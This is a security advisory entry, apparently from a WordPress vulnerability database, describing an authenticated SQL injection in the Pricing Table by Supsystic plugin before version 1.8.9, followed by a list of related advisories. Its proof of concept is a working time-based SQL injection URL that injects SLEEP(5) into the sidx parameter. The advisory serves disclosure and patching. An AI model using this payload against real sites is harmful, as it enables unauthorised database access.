Pricing Table by Supsystic < 1.8.9 – Authenticated SQL Injections | Plugin Vulnerabilities

Description

The GET parameter sidx and sord are used in a SQL statement without being sanitised when searching for pricing tables in the dashboard, leading to an authenticated SQL Injection issues.

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=4af102a025&search%5Btext_like%5D=aa&_search=false&nd=1612782186309&rows=10&page=0&sord=desc&sidx=id%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)

Affects Plugins

pricing-table-by-supsystic

Fixed in 1.8.9

References

Exploitdb

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Erik David Martin

Verified

Yes

WPVDB ID

8ecbeaaa-7986-4109-a56a-3d67496330f2

Timeline

Publicly Published

2021-02-08 (about 5 years ago)

Added

2021-02-08 (about 5 years ago)

Last Updated

2021-02-10 (about 5 years ago)

Other

Published

Title

Published

2019-03-15

Title

Better Search 2.2.2 - Unauthenticated SQL Injection

Published

2026-02-18

Title

Product Table and List Builder for WooCommerce Lite < 4.6.3 - Unauthenticated Time-Based SQL Injection via 'search' Parameter

Published

2019-07-26

Title

Advanced Contact form 7 DB < 1.7.1 - SQL Injection

Published

2014-08-01

Title

Spiffy XSPF Player 0.1 - playlist.php playlist_id Parameter SQL Injection

Published

2025-04-16

Title

Hostel < 1.1.5.7 - Authenticated (Administrator+) SQL Injection